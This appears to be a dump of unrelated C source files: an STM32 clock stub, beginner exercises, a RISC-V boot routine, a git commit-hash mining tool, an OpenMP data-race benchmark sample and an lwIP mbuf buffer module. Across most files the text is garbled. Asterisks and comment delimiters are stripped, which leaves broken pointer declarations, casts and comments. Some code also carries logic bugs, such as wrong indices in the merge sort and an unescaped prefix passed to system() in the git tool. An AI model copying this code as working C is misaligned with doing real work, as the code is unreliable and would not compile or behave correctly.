the_stack_data/159514891.c	/* ******************************************************************************* * Copyright (c) 2020-2021, STMicroelectronics * All rights reserved. * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ******************************************************************************* / #if defined(ARDUINO_GENERIC_L452VCIX) \|\| defined(ARDUINO_GENERIC_L452VCTX) \|\|\ defined(ARDUINO_GENERIC_L452VEIX) \|\| defined(ARDUINO_GENERIC_L452VETX) \|\|\ defined(ARDUINO_GENERIC_L462VEIX) \|\| defined(ARDUINO_GENERIC_L462VETX) #include "pins_arduino.h" /* * @brief System Clock Configuration * @param None * @retval None / WEAK void SystemClock_Config(void) { / SystemClock_Config can be generated by STM32CubeMX / #warning "SystemClock_Config() is empty. Default clock at reset is used." } #endif / ARDUINO_GENERIC_* */
the_stack_data/775479.c	#include <stdio.h> int main() { int p, n, i, imenor, menor; scanf("%d", &n); scanf("%d", &menor); imenor = 1; for (i = 2; i <= n; i++) { scanf("%d", &p); if (p < menor) { menor = p; imenor = i; } } printf("%d\n", imenor); return 0; }
the_stack_data/633908.c	#include <stdio.h> #include <stdlib.h> void scilab_rt_interp1_i2i2d0_d0(int sin00, int sin01, int in0[sin00][sin01], int sin10, int sin11, int in1[sin10][sin11], double in2, double* out0) { int i; int j; int val0 = 0; int val1 = 0; for (i = 0; i < sin00; ++i) { for (j = 0; j < sin01; ++j) { val0 += in0[i][j]; } } for (i = 0; i < sin10; ++i) { for (j = 0; j < sin11; ++j) { val1 += in1[i][j]; } } *out0 = val0 + val1 + in2; }
the_stack_data/43888551.c	/** * RISC-V bootup test * Author: Daniele Lacamera <[email protected]> * * MIT License * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. / #include <stdint.h> extern void trap_entry(void); extern void trap_exit(void); extern uint32_t _start_vector; extern uint32_t _stored_data; extern uint32_t _start_data; extern uint32_t _end_data; extern uint32_t _start_bss; extern uint32_t _end_bss; extern uint32_t _end_stack; extern uint32_t _start_heap; extern uint32_t _global_pointer; extern void ( const IV[])(void); static int zeroed_variable_in_bss; static int initialized_variable_in_data = 42; extern void main(void); void __attribute__((section(".init"),naked)) _reset(void) { register uint32_t src, dst; asm volatile("la gp, _global_pointer"); asm volatile("la sp, _end_stack"); /* Set up vectored interrupt, with IV starting at offset 0x100 / asm volatile("csrw mtvec, %0":: "r"((uint8_t )(&_start_vector) + 1)); src = (uint32_t ) &_stored_data; dst = (uint32_t ) &_start_data; /* Copy the .data section from flash to RAM. / while (dst < (uint32_t )&_end_data) { dst = src; dst++; src++; } /* Initialize the BSS section to 0 / dst = &_start_bss; while (dst < (uint32_t )&_end_bss) { dst = 0U; dst++; } / Run the program! / main(); } static uint32_t synctrap_cause = 0; void isr_synctrap(void) { asm volatile("csrr %0,mcause" : "=r"(synctrap_cause)); asm volatile("ebreak"); } void isr_empty(void) { } void __attribute__((weak)) isr_vmsi(void) { / panic / while(1); } void __attribute__((weak)) isr_vmti(void) { / panic / while(1); } void __attribute__((weak)) isr_vmei(void) { / panic / while(1); } void __attribute__((weak)) isr_irq0(void) { / panic / while(1); } void __attribute__((weak)) isr_irq1(void) { / panic / while(1); } void __attribute__((weak)) isr_irq2(void) { / panic / while(1); } void __attribute__((weak)) isr_irq3(void) { / panic / while(1); } void __attribute__((weak)) isr_irq4(void) { / panic / while(1); } void __attribute__((weak)) isr_irq5(void) { / panic / while(1); } void __attribute__((weak)) isr_irq6(void) { / panic / while(1); } void __attribute__((weak)) isr_irq7(void) { / panic / while(1); } void __attribute__((weak)) isr_irq8(void) { / panic / while(1); } void __attribute__((weak)) isr_irq9(void) { / panic / while(1); } void __attribute__((weak)) isr_irq10(void) { / panic / while(1); } void __attribute__((weak)) isr_irq11(void) { / panic / while(1); } void __attribute__((weak)) isr_irq12(void) { / panic / while(1); } void __attribute__((weak)) isr_irq13(void) { / panic / while(1); } void __attribute__((weak)) isr_irq14(void) { / panic / while(1); } void __attribute__((weak)) isr_irq15(void) { / panic */ while(1); }
the_stack_data/840715.c	void printf(); int main () { int j; int i; j = (i = 3) ? 4 : 5; printf ("i=%d, j=%d\n",i,j); return (j?0:j-j); }
the_stack_data/70449593.c	#include <stdio.h> #include <stdlib.h> // for malloc #include <stdint.h> // for uint_t #include <time.h> // for clock() #include <assert.h> // for assert void merge(uint64_t* data,uint32_t l,uint32_t m, uint32_t r){ uint32_t n1 = m - l + 1; uint32_t n2 = r - m; uint64_t* arr1 = (uint64_t) malloc(sizeof(uint64_t) n1); uint64_t* arr2 = (uint64_t) malloc(sizeof(uint64_t) n2); for(int i = 0;i < n1; ++i){ arr1[i] = data[i]; } for(int i = 0;i < n2; ++i){ arr2[i] = data[m + 1 + i]; } int i = 0; int j = 0; int k = l; while(i < n1 && j < n2){ if(arr1[i] <= arr2[j]){ data[k] = arr1[i]; ++i; }else{ data[k] = arr2[j]; ++j; } ++k; } while(i < n1){ data[k] = arr1[i]; ++i; ++k; } while(j < n2){ data[k] = arr2[i]; ++j; ++k; } free(arr1); free(arr2); } void merge_sort(uint64_t* data, uint32_t l, uint32_t r){ if(l < r){ int m = l + (r -l) /2; merge_sort(data,l,m); merge_sort(data,m+1,r); merge(data,l,m,r); } } void test(uint64_t* array, const uint32_t size){ clock_t start, end; start = clock(); merge_sort(array,0,size); for(int i = 0; i < size; ++i){ printf("%d\n", array[i]); } end = clock(); printf("Sorting took %f seconds\n", ((double) (end - start)) / CLOCKS_PER_SEC); } int main(int argc, char * argv[]){ FILE * input = fopen(argv[1], "r"); uint32_t filesize = 50, size = 0; uint64_t last; uint64_t* file_array = (uint64_t) malloc(sizeof(uint64_t) filesize); (void)fscanf(input, "%ld", &last); while (!feof(input)) { if(size >= filesize){ filesize+=30; file_array = (uint64_t)realloc(file_array, sizeof(uint64_t) (filesize)); } file_array[size] = last; size++; (void)fscanf(input, "%ld", &last); } test(file_array, size); fclose(input); free(file_array); return 0; }
the_stack_data/85134.c	#include <stdio.h> int main(int argc, char* argv[]) { long* invalid_ptr = (long)0x123; invalid_ptr = 0x12345678l; return 0; }
the_stack_data/57949094.c	#include <stdio.h> int main(int argc, char const *argv[]) { int n, i, m = 0, z = 1; printf("Enter the no:"); scanf("%d", &n); while (1) { m = 0; for (i = 1; i <= 20; i++) { if (n % i != 0) { m++; break; } } if (m == 0) { printf("%d", n); break; } n = n + 10; } return 0; }
the_stack_data/231392991.c	#include <stdio.h> #include <stdarg.h> #include <string.h> #include <stddef.h> #include <stdint.h> #define FIRST_ARG_(A, ...) A #define FIRST_ARG(args) FIRST_ARG_ args #define SECOND_ARG_(A, B, ...) B #define SECOND_ARG(args) SECOND_ARG_ args #define THIRD_ARG_(A, B, C, ...) C #define THIRD_ARG(args) THIRD_ARG_ args #define max2(...) \ ({ \ __typeof__((FIRST_ARG_(__VA_ARGS__))) _a = FIRST_ARG((__VA_ARGS__)); \ __typeof__((SECOND_ARG_(__VA_ARGS__))) _b = SECOND_ARG((__VA_ARGS__)); \ _a > _b ? _a : _b; \ }) #define max3(...) \ ({ \ __typeof__((FIRST_ARG_(__VA_ARGS__))) _a = FIRST_ARG((__VA_ARGS__)); \ __typeof__((SECOND_ARG_(__VA_ARGS__))) _b = SECOND_ARG((__VA_ARGS__)); \ __typeof__((THIRD_ARG_(__VA_ARGS__))) _c = THIRD_ARG((__VA_ARGS__)); \ max2(max2(a, b), c); \ }) #define _MAX_OVERRIDE(_1, _2, _3, NAME, ...) NAME #define max(...) _MAX_OVERRIDE( \ __VA_ARGS__, \ max3, \ max2 \ )(__VA_ARGS__) int main(void) { int a = 7, b = 33, c = 77; void max_val; int p1 = &b; int p2 = &a; char const s1 = "David"; char const *s2 = "Nico"; max_val = max(a, b); printf("max_val = %d\n", (__typeof__(a))max_val); max_val = max(s1, s2); printf("max_val = %s\n", (__typeof__(s1))max_val); max_val = max(a, b, c); printf("max_val = %d\n", (__typeof__(a))max_val); max_val = max(p1, p2); printf("max_val = 0x%x\n", (__typeof__(p1))max_val); return 0; }
the_stack_data/879297.c	#include <stdio.h> int fib(int n) { if (n <= 1) { return n; } return fib(n - 1) + fib(n - 2); } int main(void) { int a; scanf("%d", &a); int fib_number = fib(a); printf("fib number is %d", fib_number); return 0; }
the_stack_data/48574952.c	int abs ( int v ) { if ( v < 0 ) { return -v; } else { return v; } }
the_stack_data/9511580.c	const char* b = "hello";
the_stack_data/104809.c	#include<stdio.h> int main() { charptr = "!Hello!"; printf("%c",&&ptr); return 0; } /* Output:! /
the_stack_data/65472.c	#include <stdbool.h> double function() { return false; }
the_stack_data/42334.c	// RUN: clang-cc -E -dD < %s \| grep stdin \| grep -v define #define A A /* 1 * 2 * 3 * 4 * 5 * 6 * 7 * 8 */ #define B B
the_stack_data/117327068.c	#define _POSIX_C_SOURCE 200809L #include <getopt.h> #include <openssl/sha.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> void print_help() { printf("mine-git-hash - Mine git commit hashes\n\ \n\ USE:\n\ \n\ mine-git-hash [OPTION...] PREFIX\n\ \n\ The program must be run in the directory of a Git project.\n\ \n\ OPTIONS:\n\ \n\ -h Print help and exit\n\ -d Debug mode; do not make any changes to the Git repo\n\ -z=ZEROS Number of leading zeros to look for. Default: 10\n\ -t=SECONDS Timeout. Default: 60 seconds\n\ -p=THREADS Number of threads to use. Default: 1\n\ \n\ A timeout of 0 seconds means there is no timeout.\n\ "); } void copy(char** newblob, char* line, size_t length, size_t n) { for (int i = 0; i < n; i++) { (newblob)[i + length] = line[i]; } } char get_blob(FILE* fh) { char* blob = NULL; size_t length = 0; char* line = NULL; size_t n = 0; while (getline(&line, &n, fh) != -1) { char* newblob = realloc(blob, length + strlen(line)); copy(&newblob, line, length, strlen(line)); blob = newblob; length += strlen(line); } char* newblob = realloc(blob, ++length); blob = newblob; blob[length] = '\0'; return blob; } void split_blob(char* blob, char head, char tail) { int i; for (i = 0; i < strlen(blob) - 1; i++) { if (blob[i] == '\n' && blob[i + 1] == '\n') { break; } } char* nhead = malloc(sizeof(char) * (i + 1)); if (!nhead) { return; } for (int j = 0; j < i; j++) { nhead[j] = blob[j]; } nhead[i] = '\0'; head = nhead; char ntail = malloc(sizeof(char) * (strlen(blob) - i + 1)); if (!ntail) { return; } for (int j = i + 2; j < strlen(blob); j++) { ntail[j - i - 2] = blob[j]; } ntail[strlen(blob) - i] = '\0'; tail = ntail; } size_t write_commit_object(unsigned long long nonce, char prefix, char* head, char* tail, char annotation, char preamble, char** message) { if (prefix) { sprintf(annotation, "%s %llu", prefix, nonce); } else { sprintf(annotation, "%llu", nonce); } size_t len = strlen(head) + 1 + strlen(annotation) + 2 + strlen(tail); sprintf(preamble, "commit %d", len); size_t i = -1; for (int j = 0; j < strlen(preamble); j++) { (message)[++i] = (preamble)[j]; } (message)[++i] = '\0'; for (int j = 0; j < strlen(head); j++) { (message)[++i] = head[j]; } (message)[++i] = '\n'; for (int j = 0; j < strlen(annotation); j++) { (message)[++i] = (annotation)[j]; } (message)[++i] = '\n'; (message)[++i] = '\n'; for (int j = 0; j < strlen(tail); j++) { (message)[++i] = tail[j]; } (message)[++i] = '\0'; return i; } int leading_zeros(unsigned char digest) { int zeros = 0; for (int i = 0; i < SHA_DIGEST_LENGTH; i++) { if (digest[i] == 0) { zeros++; zeros++; } else if ((digest[i] & 0xF0) == 0) { zeros++; break; } else { break; } } return zeros; } int* keep_going; void signal_int(int signum) { keep_going = 0; } struct Setup { char head; char* tail; char* prefix; int timeout; int zeros; int partition; int threads; }; struct Return { int zeros; unsigned long long nonce; }; void* mine(void* setup_ptr) { struct Setup* setup = (struct Setup)setup_ptr; char preamble = malloc(sizeof(char) * 256); char* annotation = malloc(sizeof(char) * 256); char* message = malloc(sizeof(char) * (strlen(setup->head) + strlen(setup->tail) + 1024)); unsigned char digest[SHA_DIGEST_LENGTH]; if (!(preamble && annotation && message)) { perror("Failed to allocate memory for commit object"); exit(EXIT_FAILURE); } struct Return* ret = malloc(sizeof(struct Return)); ret->zeros = 0; ret->nonce = 0; unsigned long long nonce = setup->partition; int increment = setup->threads; time_t start = time(NULL); while ((setup->timeout && time(NULL) - start < setup->timeout) &&\ ret->zeros < setup->zeros &&\ keep_going) { size_t length = write_commit_object(nonce, setup->prefix, setup->head, setup->tail, &annotation, &preamble, &message); SHA1(message, length, digest); int zs = leading_zeros(digest); if (zs > ret->zeros) { ret->zeros = zs; ret->nonce = nonce; fprintf(stderr, "Worker %d: Found %d zeros after %d seconds with nonce '%s %llu'\n", setup->partition + 1, ret->zeros, time(NULL) - start, setup->prefix, ret->nonce); } nonce += increment; } return ret; } int main(int argc, char* argv) { keep_going = malloc(sizeof(int)); keep_going = 1; signal(SIGINT, signal_int); int opt; int zeros = 10; int timeout = 60; int threads = 1; int debug = 0; while ((opt = getopt(argc, argv, "hdz:t:p:")) != -1) { switch (opt) { case 'h': print_help(); exit(EXIT_SUCCESS); case 'z': zeros = atoi(optarg); break; case 't': timeout = atoi(optarg); break; case 'd': debug = 1; break; case 'p': threads = atoi(optarg); break; default: print_help(); exit(EXIT_FAILURE); } } if (optind == argc) { printf("PREFIX argument is required\n\n"); print_help(); exit(EXIT_FAILURE); } char prefix = argv[optind]; FILE* fh = popen("git cat-file commit HEAD", "r"); if (!fh) { perror("Couldn't run git command"); exit(EXIT_FAILURE); } char* blob = get_blob(fh); if (!blob) { perror("Failed to get blob"); exit(EXIT_FAILURE); } if (pclose(fh)) { perror("Git command failed"); exit(EXIT_FAILURE); } char* head; char* tail; split_blob(blob, &head, &tail); if (!(head && tail)) { perror("Failed to allocate memory to split commit object"); exit(EXIT_FAILURE); } struct Setup setup = { .head = head, .tail = tail, .prefix = prefix, .timeout = timeout, .zeros = zeros, .threads = threads }; pthread_t pthreads[threads]; struct Setup setups[threads]; for (int partition = 0; partition < threads; partition++) { setups[partition] = setup; setups[partition].partition = partition; pthread_create(&pthreads[partition], NULL, mine, &setups[partition]); } void* res = NULL; unsigned long long best_nonce = 0; int best_zeros = 0; for (int partition = 0; partition < threads; partition++) { pthread_join(pthreads[partition], &res); struct Return ret = (struct Return)res; if (ret->zeros > best_zeros) { best_zeros = ret->zeros; best_nonce = ret->nonce; } } if (debug) { printf("Best zeros: %d\n", best_zeros); printf("Best nonce: %llu\n", best_nonce); } else { char* cmd = malloc(sizeof(char) * (strlen(prefix) + 256)); sprintf(cmd, "git-commit-annotate --annotate '%s %llu'", prefix, best_nonce); exit(system(cmd)); } exit(EXIT_SUCCESS); }
the_stack_data/14199561.c	int foo(); int main(){ return foo();}
the_stack_data/346643.c	/* Copyright (c) 2017, Lawrence Livermore National Security, LLC. Produced at the Lawrence Livermore National Laboratory Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund, Markus Schordan, and Ian Karlin (email: [email protected], [email protected], [email protected], [email protected], [email protected]) LLNL-CODE-732144 All rights reserved. This file is part of DataRaceBench. For details, see https://github.com/LLNL/dataracebench. Please also see the LICENSE file for our additional BSD notice. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the disclaimer below. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer (as noted below) in the documentation and/or other materials provided with the distribution. * Neither the name of the LLNS/LLNL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. / / Two-dimensional array computation: Only one loop is associated with the omp for construct. The inner loop's loop iteration variable needs an explicit private() clause, otherwise it will be shared by default. / #include <stdio.h> #include <stdlib.h> int a[100][100]; int main() { int i,j; #pragma omp parallel for private(j) for (i=0;i<100;i++) #pragma omp parallel for simd for (j=0;j<100;j++) a[i][j]= i 200 + j; #pragma omp parallel for private(j) for (i=0;i<100;i++) #pragma omp parallel for simd for (j=0;j<100;j++) a[i][j]=a[i][j]+1; #pragma omp parallel for private(j) ordered for (i=0;i<100;i++) #pragma omp parallel for simd ordered for (j=0;j<100;j++) #pragma omp ordered simd printf("%d", a[i][j]); return 0; }

the_stack_data/126703338.c

/* * Copyright (C) 2017 XRADIO TECHNOLOGY CO., LTD. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the * distribution. * 3. Neither the name of XRADIO TECHNOLOGY CO., LTD. nor the names of * its contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #if (__CONFIG_MBUF_IMPL_MODE == 1) #include "sys/mbuf_1.h" #include "mbuf_util.h" #if (defined(__CONFIG_ARCH_APP_CORE) || !defined(__CONFIG_ARCH_DUAL_CORE)) #include "lwip/pbuf.h" #include "lwip/mem.h" #include "lwip/memp.h" /* Init mbuf data info from pbuf, no sanity checks */ static void mb_data_init(struct mbuf *m, struct pbuf *p) { m->m_pbuf = p; m->m_data = p->payload; m->m_len = p->tot_len; m->m_pkthdr.len = p->tot_len; m->m_headspace = pbuf_head_space(p); if (p->mb_flags & PBUF_FLAG_MBUF_SPACE) m->m_tailspace = MBUF_TAIL_SPACE; p->mb_flags |= PBUF_FLAG_MBUF_REF; } /* * Alloc a new mbuf without pbuf, zero the header. */ static struct mbuf *mb_alloc() { struct mbuf *m = memp_malloc(MEMP_MBUF); if (m) { MB_MEMSET(m, 0, sizeof(struct mbuf)); m->m_flags = M_PKTHDR; } else { MBUF_WRN("Out of memory in pbuf pool for mbuf\n"); } return m; } /* * @param tx * - 1 means mbuf is used to do Tx, always alloc it from PBUF_RAM. * - 0 means mbuf is used to do RX, try to alloc it from PBUF_POOL first * @return a mbuf including @len data */ struct mbuf *mb_get(int len, int tx) { if (len < 0) return NULL; if (len > PBUF_POOL_BUFSIZE) { MBUF_WRN("try to get large data, len %d\n", len); } struct mbuf *m = mb_alloc(); if (m == NULL) { return NULL; } struct pbuf *p; #if LWIP_PBUF_POOL_SMALL int pbuf_pool_small = 0; #endif int tot_len = len; pbuf_type type = (tx || len > PBUF_POOL_BUFSIZE) ? PBUF_RAM : PBUF_POOL; if (type == PBUF_RAM) { /* space is not reserved after pbuf_alloc(), add more space */ tot_len += MBUF_HEAD_SPACE + MBUF_TAIL_SPACE; } #if LWIP_PBUF_POOL_SMALL else if (len <= PBUF_POOL_SMALL_BUFSIZE) { pbuf_pool_small = 1; } retry: p = pbuf_alloc_ext(PBUF_MBUF_RAW, tot_len, type, pbuf_pool_small); if (p == NULL) { MBUF_DBG("pbuf_alloc_ext() failed, tot_len %d, type %d, small %d\n", tot_len, type, pbuf_pool_small); if (pbuf_pool_small) { /* try to get pbuf from bigger pbuf pools */ pbuf_pool_small = 0; goto retry; } mb_free(m); return NULL; } #else /* LWIP_PBUF_POOL_SMALL */ p = pbuf_alloc(PBUF_MBUF_RAW, tot_len, type); if (p == NULL) { MBUF_DBG("pbuf_alloc() failed, tot_len %d, type %d\n", tot_len, type); mb_free(m); return NULL; } #endif /* LWIP_PBUF_POOL_SMALL */ if (type == PBUF_RAM) { /* reserved head and tail space of pbuf */ pbuf_header(p, -MBUF_HEAD_SPACE); p->len -= MBUF_TAIL_SPACE; p->tot_len -= MBUF_TAIL_SPACE; p->mb_flags |= PBUF_FLAG_MBUF_SPACE; } mb_data_init(m, p); return m; } /* * Free a mbuf. */ void mb_free(struct mbuf *m) { if (m == NULL) { MBUF_WRN("mb_free(), m is NULL\n"); return; } struct pbuf *p = m->m_pbuf; if (p) { p->mb_flags &= ~PBUF_FLAG_MBUF_REF; pbuf_free(p); } memp_free(MEMP_MBUF, m); } /* * Create a new mbuf including all pbuf data. */ struct mbuf *mb_pbuf2mbuf(void *p) { struct pbuf *pb = p; struct mbuf *m; if ((pbuf_clen(pb) > 1) || ((pb->mb_flags & PBUF_FLAG_MBUF_SPACE) == 0)) { /* copy all data from @pb to a new single pbuf */ m = mb_get(pb->tot_len, 1); if (m == NULL) return NULL; if (pbuf_copy_partial(pb, m->m_data, pb->tot_len, 0) != pb->tot_len) { mb_free(m); return NULL; } } else { /* no need to copy data, link @pb to a new mbuf header */ m = mb_alloc(); if (m == NULL) return NULL; pbuf_ref(pb); /* @pb is referenced by @m now */ mb_data_init(m, pb); } return m; } /* * Return a pbuf included in a mbuf */ void *mb_mbuf2pbuf(struct mbuf *m) { struct pbuf *p = m->m_pbuf; p->payload = m->m_data; p->tot_len = m->m_len; p->len = m->m_len; if (m->m_tailspace >= MBUF_TAIL_SPACE) p->mb_flags |= PBUF_FLAG_MBUF_SPACE; pbuf_ref(p); /* add reference to avoid freed from @m */ return p; } #endif /* (defined(__CONFIG_ARCH_APP_CORE) || !defined(__CONFIG_ARCH_DUAL_CORE)) */ #if (defined(__CONFIG_ARCH_NET_CORE) || !defined(__CONFIG_ARCH_DUAL_CORE)) /* Add space at the head of mbuf, no sanity checks */ static void mb_adj_head(struct mbuf *m, int increment) { m->m_headspace -= increment; m->m_data -= increment; m->m_len += increment; m->m_pkthdr.len += increment; } /* Add space at the tail of mbuf, no sanity checks */ static void mb_adj_tail(struct mbuf *m, int increment) { m->m_tailspace -= increment; m->m_len += increment; m->m_pkthdr.len += increment; } /* copy some members of mbuf from @s to @d */ static void mb_pkthdr_init(struct mbuf *d, struct mbuf *s, int32_t pktlen) { d->m_flags = (s->m_flags & M_COPYFLAGS) | M_PKTHDR; MB_MEMCPY(&d->m_pkthdr, &s->m_pkthdr, sizeof(struct pkthdr)); d->m_pkthdr.len = pktlen; } #ifdef __CONFIG_ARCH_DUAL_CORE #include "sys/ducc/ducc_net.h" /* * @param tx * - 1 means mbuf is used to do Tx, always alloc it from PBUF_RAM. * - 0 means mbuf is used to do RX, try to alloc it from PBUF_POOL first * @return a mbuf including @len data */ struct mbuf *mb_get(int len, int tx) { struct ducc_param_mbuf_get param; param.len = len; param.tx = tx; param.mbuf = NULL; if (ducc_net_ioctl(DUCC_NET_CMD_MBUF_GET, &param) != 0) { return NULL; } else { return param.mbuf; } } /* * Free a mbuf. */ void mb_free(struct mbuf *m) { ducc_net_ioctl(DUCC_NET_CMD_MBUF_FREE, m); } #endif /* __CONFIG_ARCH_DUAL_CORE */ /* * Trim data from head or tail. * * @return 0 on success, -1 on failure. */ int mb_adj(struct mbuf *m, int req_len) { if (req_len >= 0) { /* Trim from head. */ if (req_len > m->m_len) { MBUF_ERR("trim from head failed, %d > %d\n", req_len, (int)m->m_len); return -1; /* no enough data to trim */ } mb_adj_head(m, -req_len); } else { /* Trim from tail. */ req_len = -req_len; if (req_len > m->m_len) { MBUF_ERR("trim from tail failed, %d > %d\n", req_len, (int)m->m_len); return -1; /* no enough data to trim */ } mb_adj_tail(m, -req_len); } return 0; } /* * Copy data from an mbuf chain starting "off" bytes from the beginning, * continuing for "len" bytes, into the indicated buffer. * * @return the number of bytes copied */ int mb_copydata(const struct mbuf *m, int off, int len, uint8_t *cp) { if (off < 0 || len <= 0) { MBUF_ERR("off %d, len %d\n", off, len); return 0; } #if 0 struct pbuf *p = m->m_pbuf; if (p == NULL) return 0; if ((pbuf_clen(p) != 1) || ((p->mb_flags & PBUF_FLAG_MBUF_SPACE) == 0)) { MBUF_ERR("Invalid mbuf!\n"); return 0; } #endif int copy_len = m->m_len - off; if (copy_len > len) copy_len = len; MB_MEMCPY(cp, m->m_data + off, copy_len); return copy_len; } /* * Copy a packet header mbuf chain into a completely new chain. */ struct mbuf *mb_dup(struct mbuf *m) { if (m == NULL) { MBUF_ERR("m is NULL\n"); return NULL; } int32_t head_increment = MBUF_HEAD_SPACE - (int32_t)m->m_headspace; int32_t tail_increment = MBUF_TAIL_SPACE - (int32_t)m->m_tailspace; struct mbuf *nm = mb_get(m->m_len - head_increment - tail_increment, 1); if (nm == NULL) { return NULL; } mb_adj_head(nm, head_increment); mb_adj_tail(nm, tail_increment); MB_MEMCPY(nm->m_data, m->m_data, m->m_len); mb_pkthdr_init(nm, m, m->m_len); return nm; } /* * Rearange an mbuf chain so that len bytes are contiguous * and in the data area of an mbuf (so that mtod will work * for a structure of size len). Returns the resulting * mbuf chain on success, frees it and returns null on failure. * If there is room, it will add up to max_protohdr-len extra bytes to the * contiguous region in an attempt to avoid being called next time. */ struct mbuf *mb_pullup(struct mbuf *m, int len) // NOT really support! { if (m->m_len < len) { mb_free(m); return NULL; } return m; } /* * Partition an mbuf chain in two pieces, returning the tail -- * all but the first len0 bytes. In case of failure, it returns NULL and * attempts to restore the chain to its original state. * * Note that the resulting mbufs might be read-only, because the new * mbuf can end up sharing an mbuf cluster with the original mbuf if * the "breaking point" happens to lie within a cluster mbuf. Use the * M_WRITABLE() macro to check for this case. */ struct mbuf *mb_split(struct mbuf *m0, int len0) { if (m0 == NULL || len0 <= 0) { MBUF_ERR("m0 %p, len0 %d\n", m0, len0); return NULL; } if (m0->m_len <= len0) { MBUF_ERR("m0->m_len %d < len0 %d\n", m0->m_len, len0); return NULL; } /* create a new mbuf to save all the tail data * * TODO: don't reserve head/tail space */ int len = m0->m_len - len0; struct mbuf *m = mb_get(len, 1); if (m == NULL) { return NULL; } MB_MEMCPY(m->m_data, m0->m_data + len0, len); mb_pkthdr_init(m, m0, len); mb_adj_tail(m0, -len); /* adjust @m0, its length is len0 */ return m; } /* * Append the specified data to the indicated mbuf chain, * Extend the mbuf chain if the new data does not fit in * existing space. * * Return 1 if able to complete the job; otherwise 0. */ int mb_append(struct mbuf *m, int len, const uint8_t *cp) { if (len > m->m_tailspace) { MBUF_ERR("%d > %d\n", len, (int)m->m_tailspace); return 0; } uint8_t *dst = m->m_data + m->m_len; mb_adj_tail(m, len); if (cp) { MB_MEMCPY(dst, cp, len); } return 1; } /* * Adjust the mbuf to reserve space directly. * * @return 0 on success, -1 on failure. */ int mb_reserve(struct mbuf *m, int len, uint16_t headspace, uint16_t tailspace) { uint8_t *buf_end = m->m_data + m->m_len + m->m_tailspace; int buf_len = m->m_headspace + m->m_len + m->m_tailspace; if (buf_len < headspace + len + tailspace) { MBUF_ERR("(%d + %d + %d) < (%d + %d + %d)\n", m->m_headspace, m->m_len, m->m_tailspace, headspace, len, tailspace); return -1; } m->m_tailspace = tailspace; m->m_len = len; m->m_pkthdr.len = len; m->m_data = buf_end - tailspace - len; m->m_headspace = buf_len - tailspace - len; return 0; } #endif /* (defined(__CONFIG_ARCH_NET_CORE) || !defined(__CONFIG_ARCH_DUAL_CORE)) */ #endif /* (__CONFIG_MBUF_IMPL_MODE == 1) */

the_stack_data/329778.c

